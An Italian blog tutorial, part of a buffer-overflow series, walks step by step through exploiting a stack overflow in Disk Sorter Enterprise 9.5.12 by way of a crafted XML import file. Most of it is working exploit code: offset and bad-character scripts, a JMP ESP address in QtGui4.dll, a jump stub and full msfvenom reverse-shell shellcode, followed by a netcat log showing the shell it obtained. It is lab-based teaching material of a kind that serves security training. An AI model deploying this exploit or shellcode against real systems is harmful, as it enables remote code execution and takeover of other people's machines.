Stack Buffer Overflow V - Disk Sorter Enterprise 9.5.12

Tempo di lettura: 13 minuti
Data pubblicazione: October 3, 2022

Introduzione

Quinto articolo della serie Buffer Overflow, target: Disk Sorter Enterprise 9.5.12.

Altri post in questa serie:

  1. Stack Buffer Overflow I - Vulnerserver TRUN
  2. Stack Buffer Overflow II - Brainpan
  3. Stack Buffer Overflow III - dostackbufferoverflowgood
  4. Stack Buffer Overflow IV - EasyRMtoMP3Converter
  5. Stack Buffer Overflow V - Disk Sorter Enterprise 9.5.12

L’ordine non è casuale, se non viene spiegato qualche dettaglio è perchè è stato spiegato in articoli precedenti. Consiglio di partire dal primo e proseguire in ordine.

Lab Setup

Per avere un ambiente ad hoc serve:

  • VM con Windows 10 a 32 bit, potete trovarlo qui (se accedete con un computer Windows dovete cambiare l’user agent con Linux/Mac).
  • WinDBG: visto che l’interfaccia di default non è per nulla intuitiva, l’ho modificata partendo da questo tema. Sentitevi liberi di modificarla come preferite.
  • Mona.py: automatizzazione di comandi su windbg. Per installarla su windows 10 a 32 bit ho utilizzato questo script.

Dopo aver caricato mona, ho modificato il salvataggio dei log con il seguente comando:

!py mona config -set workingfolder c:\monalogs\%p_%i

In questo modo ogni volta che creeremo qualcosa con mona, sarà facilmente accessibile.

NB: a meno di vulnerabilità particolati, in questi articoli salteremo l’identificazione della vulnerabilità (che richiede fuzzing o analisi manuale del codice assembly in IDA) ma ci focalizzeremo sullo sfruttamento della stessa. Se siete interessati a questa parte alcuni tool da guardare sono Boofuzz e SPIKE.

NB2: Poichè il bypass di DEP non è oggetto di questo articolo, ho disabilitato le protezioni di Windows (Windows Security -> App & Browser Control -> Exploit Protection Settings -> Program Settings -> Add program to customize -> filename.exe -> DEP, ASLR, CFG, etc disabilitati).

Disk Sorter Enterprise

Disk Sorter Enterprise 9.5.12 è un programma utilizzato per gestire i dischi locali in maniera remota. In questo caso la vulnerabilità è locale e si trova nell’import di un file contenente comandi.

Crash Iniziale

Sapendo che il server è vulnerabile a Stack Overflow, andiamo a creare un primo file che lo manderà in crash.

import os,struct

CRASH_LEN = 5000  # change me

payload = "A" * CRASH_LEN

#FILE
file='<?xml version="1.0" encoding="UTF-8"?>\n<classify\nname=\'' + payload + '\n</classify>'

f = open('Exploit.xml', 'w')
f.write(file)
f.close()

Identificare l’offset

I caratteri sono solo 5000, quindi creo con mona il pattern e aggiorno lo script

import os,struct

CRASH_LEN = 5000  # change me

payload = b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9.."

#FILE
file=b'<?xml version="1.0" encoding="UTF-8"?>\n<classify\nname=\'' + payload + b'\n</classify>'

f = open('Exploit.xml', 'wb')
f.write(file)
f.close()

Il programma crasha su 42327a42. Cerco l’offset:

(1960.2654): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=000013cf ecx=00130400 edx=00130383 esi=00130400 edi=06b5ee28
eip=42327a42 esp=00130370 ebp=001304b4 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210206
42327a42 ??              ???
0:000> !py mona po 42327a42 
Hold on...
[+] Command used:
!py C:\Program Files\Windows Kits\10\Debuggers\x86\mona.py po 42327a42
Looking for Bz2B in pattern of 500000 bytes
- Pattern Bz2B (0x42327a42) found in cyclic pattern at position 1536

Poiché sovrascrive EIP, proviamo prima a seguire la strada di un classico buffer overflow (in teoria sovrascrive anche SEH, ma non seguiremo quella strada).

Trovare i bad char

Certi eseguibili eliminano o modificano determinati caratteri, per cui è necessario capire se ci sono caratteri che “rompono” o modificano il nostro shellcode. Per capire quali sono è sufficente inviare tutto il range di caratteri (da \x00 a \xff) e vedere se in qualche modo sono stati eliminati o modificati. Creo quindi su mona i byte che ci servono

!py mona ba -cpb '\x00'

NB: Se non ci fosse spazio per tutti i byte, avremmo potuto crearli utilizzando un range, per esempio:

!py mona ba -s 1 -e 46
!py mona ba -s 47 -e 8c
!py mona ba -s 8d -e d2
!py mona ba -s d3 -e ff

Aggiorniamo lo script di conseguenza (ho eliminato subito \x00 poiché quasi tutti gli eseguibili non lo accettano)

import os,struct

CRASH_LEN = 5000  # change me
OFFSET = 1536

bad_chars  = b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
bad_chars += b"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
bad_chars += b"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
bad_chars += b"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
bad_chars += b"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
bad_chars += b"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
bad_chars += b"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
bad_chars += b"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"

payload = b"A" * 1536
#payload += struct.pack("<I",0x651bb77a) # jmp esp
payload += b"B" * 4
payload += bad_chars
payload += b"C" * (CRASH_LEN - len(payload))
#FILE
file= b'<?xml version="1.0" encoding="UTF-8"?>\n<classify\nname=\'' + payload + b'\n</classify>'

f = open('Exploit.xml', 'wb')
f.write(file)
f.close()

Eseguo e vedo che non ci sono più i primi 16 caratteri.

(260.16c0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=000013cc ecx=00130400 edx=01e04478 esi=00130400 edi=006486c8
eip=42424242 esp=00130370 ebp=001304b4 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210206
42424242 ??              ???
0:000> db esp L100
00130370  11 12 13 14 15 16 17 18-19 1a 1b 1c 1d 1e 1f 20  ............... 
00130380  62 06 00 00 25 26 00 00-c8 86 64 00 cc 13 00 00  b...%&....d.....
00130390  b4 04 13 00

Eliminando i primi 16 byte, per prima cosa aggiungo un padding di 16 e rilancio

import os,struct

CRASH_LEN = 5000  # change me
OFFSET = 1536

bad_chars  = b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
bad_chars += b"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
bad_chars += b"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
bad_chars += b"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
bad_chars += b"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
bad_chars += b"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
bad_chars += b"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
bad_chars += b"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"

payload = b"A" * 1536
#payload += struct.pack("<I",0x651bb77a) # jmp esp
payload += b"B" * 4
payload += b"\x90" * 16
payload += bad_chars
payload += b"C" * (CRASH_LEN - len(payload))
#FILE
file= b'<?xml version="1.0" encoding="UTF-8"?>\n<classify\nname=\'' + payload + b'\n</classify>'

f = open('Exploit.xml', 'wb')
f.write(file)
f.close()

Crasha di nuovo ma ora i primi byte ci sono, quindi la strada potrebbe esser giusta.

(2014.26cc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=000013cc ecx=00130400 edx=01dc3848 esi=00130400 edi=00678268
eip=42424242 esp=00130370 ebp=001304b4 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210206
42424242 ??              ???
0:000> db esp L100
00130370  01 02 03 04 05 06 07 08-09 0a 0b 0c 0d 0e 0f 10  ................
00130380  72 06 00 00 15 16 17 18-19 1a 1b 1c 1d 1e 1f 20  r.............. 
00130390  21 22 23 24 25 26 00 00-68

Succedono però due cose:

  1. I byte \x11, \x12,\x13,\x14 vengono sovrascritti
  2. Dal byte \x27 non c’è più nulla

Provo quindi a mettere degli \x90 al posto di quei byte ed eliminare \x27

import os,struct

CRASH_LEN = 5000  # change me
OFFSET = 1536

bad_chars  = b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x90\x90\x90\x90\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
bad_chars += b"\x21\x22\x23\x24\x25\x26\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
bad_chars += b"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
bad_chars += b"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
bad_chars += b"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
bad_chars += b"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
bad_chars += b"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
bad_chars += b"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"

payload = b"A" * 1536
#payload += struct.pack("<I",0x651bb77a) # jmp esp
payload += b"B" * 4
payload += b"\x90" * 16
payload += bad_chars
payload += b"C" * (CRASH_LEN - len(payload))
#FILE
file= b'<?xml version="1.0" encoding="UTF-8"?>\n<classify\nname=\'' + payload + b'\n</classify>'

f = open('Exploit.xml', 'wb')
f.write(file)
f.close()

Quindi \x27 è un bad char, mentre i byte da \x11 a \x14 vengono rimpiazzati di default, qualsiasi sia il loro valore.

Saltare allo shellcode

L’obiettivo ora è trovare un modo per fare un jump al nostro shellcode e poterlo eseguire (abbiamo disabilitato tutte le protezioni per cui per ora non ci sono problemi).

Ci sono diversi modi per farlo, il problema è che in questo caso 5 bytes vengono rimpiazzati, quindi qualsiasi cosa inseriremo in quel punto verrà rotto in quel punto. Ciò che possiamo fare è un indirect jump, ossia caricare un indirizzo in una posizione arbitraria (per esempio jmp [ESP - 8]) e saltare nel punto caricato. Per fare ciò abbiamo un paio di istruzioni che ci vengono incontro:

lea   eax, [esp-200]
jmp   eax               # or call eax

Oppure

sub  esp, 200
jmp  esp

Per prima cosa cerchiamo il solito JMP ESP per modificare il flusso

0:000> !py mona jmp -r esp -cpb '\x00\x27' 
Hold on...
[+] Command used:
!py C:\Program Files\Windows Kits\10\Debuggers\x86\mona.py jmp -r esp -cpb '\x00\x27'

---------- Mona command started on 2022-09-09 17:00:56 (v2.0, rev 616) ----------
[+] Processing arguments and criteria
    - Pointer access level : X
    - Bad char filter will be applied to pointers : '\x00\x27' 
….
[+] Results : 
0x651bb77a |   0x651bb77a : jmp esp |  {PAGE_EXECUTE_READ} [QtGui4.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v4.3.4.0 (C:\Program Files\Disk Sorter Enterprise\bin\QtGui4.dll)
0x651c2194 |   0x651c2194 : jmp esp |  {PAGE_EXECUTE_READ} [QtGui4.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v4.3.4.0 (C:\Program Files\Disk Sorter Enterprise\bin\QtGui4.dll)

Successivamente, convertiamo in opcode lea eax,[esp+20] e jmp eax con nasm_shell

nasm > lea eax,[esp+20]
00000000  8D442414          lea eax,[esp+0x14]
nasm > jmp eax
00000000  FFE4              jmp eax

Aggiungo poi qualche carattere per capire dove salto

import os,struct

CRASH_LEN = 5000  # change me
OFFSET = 1536

payload = b"A" * 1536
payload += struct.pack("<I",0x651bb77a) # jmp esp
payload += b"\x90" * 16
payload += b"\x8d\x44\x24\x14" #lea eax,[esp+20]         
payload += b"\xff\xe0" #jmp eax
payload += b"A" * 20        
payload += b"B" * 20        
payload += b"D" * 20        
payload += b"E" * (CRASH_LEN - len(payload))
#FILE
file= b'<?xml version="1.0" encoding="UTF-8"?>\n<classify\nname=\'' + payload + b'\n</classify>'

f = open('Exploit.xml', 'wb')
f.write(file)
f.close()

Metto un breakpoint su 0x651bb77a e lancio il programma

Con singoli step arrivo poi ai miei opcode

0:000> t
eax=00000000 ebx=000013cc ecx=00130400 edx=00130383 esi=00130400 edi=06c6e810
eip=00130370 esp=00130370 ebp=001304b4 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200206
00130370 8d442414        lea     eax,[esp+14h]
0:000> t
eax=00130384 ebx=000013cc ecx=00130400 edx=00130383 esi=00130400 edi=06c6e810
eip=00130374 esp=00130370 ebp=001304b4 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200206
00130374 ffe0            jmp     eax {00130384}
0:000> u 00130384
00130384 41              inc     ecx
00130385 41              inc     ecx
00130386 41              inc     ecx
00130387 41              inc     ecx
00130388 41              inc     ecx
00130389 41              inc     ecx
0013038a 42              inc     edx
0013038b 42              inc     edx
0:000> db esp
00130370  8d 44 24 14 ff e0 41 41-41 41 41 41 41 41 41 41  .D$...AAAAAAAAAA
00130380  cd 13 00 00 41 41 41 41-41 41 42 42 42 42 42 42  ....AAAAAABBBBBB
00130390  42 42 42 42 42 42 42 42-42 42 42 42 42 42 44 44  BBBBBBBBBBBBBBDD
001303a0  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD
001303b0  44 44 45 45 45 45 45 45-45 45 45 45 45 45 45 45  DDEEEEEEEEEEEEEE
001303c0  45 45 45 45 45 45 45 45-45 45 45 45 45 45 45 45  EEEEEEEEEEEEEEEE
001303d0  45 45 45 45 45 45 45 45-45 45 45 45 45 45 45 45  EEEEEEEEEEEEEEEE
001303e0  45 45 45 45 45 45 45 45-45 45 45 45 45 45 45 45  EEEEEEEEEEEEEEEE

Ed ecco che abbiamo evitato il punto infame e siamo saltati alla sequenza successiva!

Inserimento dello shellcode

Ora non ci rimane che creare lo shellcode con msfvenom (o manualmente) ed inserirlo al posto delle C. Creiamo una reverse shell con msfvenom

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.60 LPORT=6789  -f python -v shellcode -b '\x00\x09\x0a' EXITFUNC=threadd

Il codice finale sarà

import os,struct

CRASH_LEN = 5000  # change me
OFFSET = 1536

#msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.60 LPORT=6789  -f python -v shellcode -b '\x00\x27' EXITFUNC=thread
shellcode =  b""
shellcode += b"\xb8\x73\x01\x43\xaf\xda\xd0\xd9\x74\x24\xf4"
shellcode += b"\x5f\x29\xc9\xb1\x52\x83\xef\xfc\x31\x47\x0e"
shellcode += b"\x03\x34\x0f\xa1\x5a\x46\xe7\xa7\xa5\xb6\xf8"
shellcode += b"\xc7\x2c\x53\xc9\xc7\x4b\x10\x7a\xf8\x18\x74"
shellcode += b"\x77\x73\x4c\x6c\x0c\xf1\x59\x83\xa5\xbc\xbf"
shellcode += b"\xaa\x36\xec\xfc\xad\xb4\xef\xd0\x0d\x84\x3f"
shellcode += b"\x25\x4c\xc1\x22\xc4\x1c\x9a\x29\x7b\xb0\xaf"
shellcode += b"\x64\x40\x3b\xe3\x69\xc0\xd8\xb4\x88\xe1\x4f"
shellcode += b"\xce\xd2\x21\x6e\x03\x6f\x68\x68\x40\x4a\x22"
shellcode += b"\x03\xb2\x20\xb5\xc5\x8a\xc9\x1a\x28\x23\x38"
shellcode += b"\x62\x6d\x84\xa3\x11\x87\xf6\x5e\x22\x5c\x84"
shellcode += b"\x84\xa7\x46\x2e\x4e\x1f\xa2\xce\x83\xc6\x21"
shellcode += b"\xdc\x68\x8c\x6d\xc1\x6f\x41\x06\xfd\xe4\x64"
shellcode += b"\xc8\x77\xbe\x42\xcc\xdc\x64\xea\x55\xb9\xcb"
shellcode += b"\x13\x85\x62\xb3\xb1\xce\x8f\xa0\xcb\x8d\xc7"
shellcode += b"\x05\xe6\x2d\x18\x02\x71\x5e\x2a\x8d\x29\xc8"
shellcode += b"\x06\x46\xf4\x0f\x68\x7d\x40\x9f\x97\x7e\xb1"
shellcode += b"\xb6\x53\x2a\xe1\xa0\x72\x53\x6a\x30\x7a\x86"
shellcode += b"\x3d\x60\xd4\x79\xfe\xd0\x94\x29\x96\x3a\x1b"
shellcode += b"\x15\x86\x45\xf1\x3e\x2d\xbc\x92\x80\x1a\xbf"
shellcode += b"\x5e\x69\x59\xbf\x84\xec\xd4\x59\xd2\xfe\xb0"
shellcode += b"\xf2\x4b\x66\x99\x88\xea\x67\x37\xf5\x2d\xe3"
shellcode += b"\xb4\x0a\xe3\x04\xb0\x18\x94\xe4\x8f\x42\x33"
shellcode += b"\xfa\x25\xea\xdf\x69\xa2\xea\x96\x91\x7d\xbd"
shellcode += b"\xff\x64\x74\x2b\x12\xde\x2e\x49\xef\x86\x09"
shellcode += b"\xc9\x34\x7b\x97\xd0\xb9\xc7\xb3\xc2\x07\xc7"
shellcode += b"\xff\xb6\xd7\x9e\xa9\x60\x9e\x48\x18\xda\x48"
shellcode += b"\x26\xf2\x8a\x0d\x04\xc5\xcc\x11\x41\xb3\x30"
shellcode += b"\xa3\x3c\x82\x4f\x0c\xa9\x02\x28\x70\x49\xec"
shellcode += b"\xe3\x30\x69\x0f\x21\x4d\x02\x96\xa0\xec\x4f"
shellcode += b"\x29\x1f\x32\x76\xaa\x95\xcb\x8d\xb2\xdc\xce"
shellcode += b"\xca\x74\x0d\xa3\x43\x11\x31\x10\x63\x30"

payload = b"A" * 1536
payload += struct.pack("<I",0x651bb77a) # jmp esp
payload += b"\x90" * 16
payload += b"\x8d\x44\x24\x14" #lea eax,[esp+20]         
payload += b"\xff\xe0" #jmp eax
payload += b"\x90" * 14 
payload += shellcode      
payload += b"E" * (CRASH_LEN - len(payload))
#FILE
file= b'<?xml version="1.0" encoding="UTF-8"?>\n<classify\nname=\'' + payload + b'\n</classify>'

f = open('Exploit.xml', 'wb')
f.write(file)
f.close()
kali@kali:~$ nc -nlvp 6789
listening on [any] 6789 ...
connect to [192.168.1.60] from (UNKNOWN) [192.168.1.14] 1282
Microsoft Windows [Version 10.0.19044.1706]
(c) Microsoft Corporation. All rights reserved.

C:\Program Files\Disk Sorter Enterprise\bin>whoami
whoami
desktop-p7jng2j\user

C:\Program Files\Disk Sorter Enterprise\bin>

Conclusioni

In questo articolo abbiamo visto come sia possibile sfruttare una vulnerabilità di tipo Stack Overflow per eseguire codice arbitrario e ottenere accesso ad un host remoto. Di seguito alcune risorse utili: